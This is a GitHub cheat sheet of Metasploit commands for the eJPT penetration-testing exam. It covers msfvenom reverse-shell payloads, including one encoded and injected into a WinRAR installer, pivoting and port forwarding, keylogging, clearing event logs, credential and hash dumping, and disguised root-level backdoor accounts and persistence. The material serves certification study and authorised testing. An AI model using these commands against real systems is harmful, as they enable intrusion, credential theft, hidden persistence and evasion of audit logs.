Skip to content

Latest commit

 

History

History
390 lines (223 loc) · 7.64 KB

8.Metasploit Framework.md

File metadata and controls

390 lines (223 loc) · 7.64 KB
Raw

BPM Circuits

eJPT-CheatSheets
Bartosz Pokrywka

Usefull info and commands for eJPT cert exam

Metasploit Fundamentals

  1. Info gathering & Enumeration -> Aux Module

  2. Vuln Scanning -> Aux Module, Nessus

  3. Exploitation -> Exploit Modules & Payloads

  4. Post Exploitation -> Meterpreter

  5. Privilege Excalation -> Post Exploitation Modules, Meterpreter

  6. Maintaining Persistent Access -> Post Exploitation Modules

msfconsole starting command:

$ sudo service postgresql start && sudo msfconsole

Creating and Managing Workspaces

Create:

> workspace -a [name]

Switch:

> workspace [name]

Delete:

> workspace -d [name]

Rename:

> workspace -r <old> <new>

Enumeration

NMAP

Use nmap XML output:

  • -oX [name]

Import it into msfconsole:

> db_import /directory/where/u/saved/the/scan

Type "services" to find out if it has worked.

Nmap also can be used inside msfconsole:

> db_nmap -Pn -sV -O IP, etc.

The results are automaticaly imported into msfconsole.

Port Scanning with Aux Modules

  1. Create a workspace for port scanning.

  2. Use aux module:

     > search portscan

    for example:

     > auxiliary/scanner/portscan/tcp

  3. Run scan.

  4. Exploit target.

Now in the meterpreter session perform port scan on the target (PIVOTING):

  1. Open shell session:

     > shell

  2. Enum the interface.

  3. Add the route in meterpreter:

     > run autoroute -s [host]

  4. Background the session:

     > background

  5. Go again into portscan, and set the rhosts to the next target IP.

  6. Scan the second target.

Client-Side Attacks

Payloads

Genearting Payloads With Msfvenom

List of available payloads:

> msfvenom --list payloads

Example of creating the payload for 63bit Windows system:

> msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f exe > destinationofpayload
  • -a (architecture of the target system)
  • -p (specify the payload)
  • -f (output file)

List of formats:

> msfvenom --list formats

Encoding Payloads

List encoders:

> msfvenom --list encoders

Example of creating encoded payload:

> msfvenom -p windows/meterpreter/reverse_tcp LHOST=IPADDRESS LPORT=PORT -e x86/shikata_ga_nai -f exe > destinationofencodedpayload

You can increase the iteration of encodings by adding:

  • -i 10

Injecting Payloads into Windows Portable Executables

> msfvenom -p windows/meterpreter/reverse_tcp LHOST=IPADDRESS LPORT=PORT -e x86/shikata_ge_nai -i 10 -f exe -x /Downloads/wrar602.exe > pathtosavethepayload

If you want to maintain the fucntionality of the spoofed exec, use this flag (may not work):

  • -k

Automating

Metasploit Resource Scripts

Prepackaged scripts:

> ls -al /usr/share/metasploit-framework/scripts/resource/

Example of creating a script for automating multi/handler session:

> use multi/handler
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST ipaddress
  set LPORT port
  run

Then save the file as handler.rc

How to use it:

> msfconsole -r handler.rc

Or directly from msfconsole:

msf6 > resource ~/PATH/TO/RESOURCE/FILE.rc

To export commands from previous actions:

msf6 > makerc ~/PATH/TO/SAVE/THE/RESOURCE/FILE.rc

Exploitation

TIP:

When using payloads, you can set LHOST IP address by typing your interface name, such as "eth0, eth1, etc. Much time saved...

Post Exploitation Fundamentals

It's possible to run commands by not interacting with meterpreter directly. You have to have session in a background, and then:

> sessions -C <commandhere> -i <sessionID>

To upgrade a shell to a meterpreter session without going through few extra steps, use:

> sessions -u <sessionID>

Windows

Gaining persistence

> use exploit/windows/local/persistence_service
> set session <ID>
> set lport <port>
> exploit

Then you can use multi/handler:

> use exploit/multi/handler
> set LHOST <yourIP>
> set LPORT <port>
> exploit

Then reboot target machine to check if it works.

Enabling RDP

Reminder: RDP default TCP port is 3389.

After gaining access to the target machine use this:

> use post/windows/manage/enable_rdp
> set SESSION <ID>
> run

Windows Keylogging

In meterpreter session:

meterpreter > keyscan_start
Starting the keystroke sniffer...

meterpreter > keyscan_dump 
Dumping captured keystrokes...

Clearing Windows Event Logs

Event logs can be accessed via the Event Viewer

To clear event logs use meterpreter command:

> clearev

Pivoting

Use meterpreter command:

> run autoroute -s IP/SubnetRange

Then use this module to scan ports:

> use auxiliary/scanner/portscan/tcp(or syn, etc)

Then go back to the previous session and forward port:

> portfwd add -l 1234 -p 80 -r <internalNetworkVictimIP>

Then scan this port with nmap:

> db_nmap -sS -sV -p 1234 localhost

Remember to change payload to "bind" type:

> set payload windows/meterpreter/bind_tcp

Linux

To upgrade a shell session to meterpreter session:

> sessions -u <ID>

Meterpreter Enum

> sysinfo

> getuid

Get Bash Shell

> /bin/bash -i

Bash shell enum

> cat /etc/passwd

> groups root

> cat /etc/*issue

> uname -r

> uname -a

> ip a s

> netstat -antp

> ps aux

> env

Enum Configs

> use post/linux/gather/enum_configs
> set SESSION <ID>

Enum networks

> use post/linux/gather/enum_networks
> set SESSION <ID>

Enum protections

> use post/linux/gather/enum_protections
> set SESSION <ID>

Enum system information

> use post/linux/gather/enum_system
> set SESSION <ID>

Enum docker container

> use post/linux/gather/checkcontainer
> set SESSION <ID>

Check VM

> use post/linux/gather/checkvm
> set SESSION <ID>

Enum users history

> use post/linux/gather/enum_users_history
> set SESSION <ID>

Dumping Hashes

> use post/linux/gather/hashdump
> set SESSION <ID>

Other creds dumping

post/multi/gather/ssh_creds
post/multi/gather/docker_creds
post/linux/gather/hashdump
post/linux/gather/ecryptfs_creds
post/linux/gather/enum_psk
post/linux/gather/enum_xchat
post/linux/gather/phpmyadmin_credsteal
post/linux/gather/pptpd_chap_secrets
post/linux/manage/sshkey_persistence

Establishing Persistence on Linux

After gaining basic foothold of the root account, create new user (obfuscated one, like "ftp", or "sysadmin" if it doesn't exist):

> useradd -m ftp -s /bin/bash
> passwd ftp

Add root access:

> usermod -aG root ftp

Obfuscate more:

> usermod -u 15 ftp

There's also a complete solution packed into metasploit framework:

> search platform:linux persistence

SSH Key:

> chmod 0400 ssh_key
> ssh -i ssh_key root@<targetIP>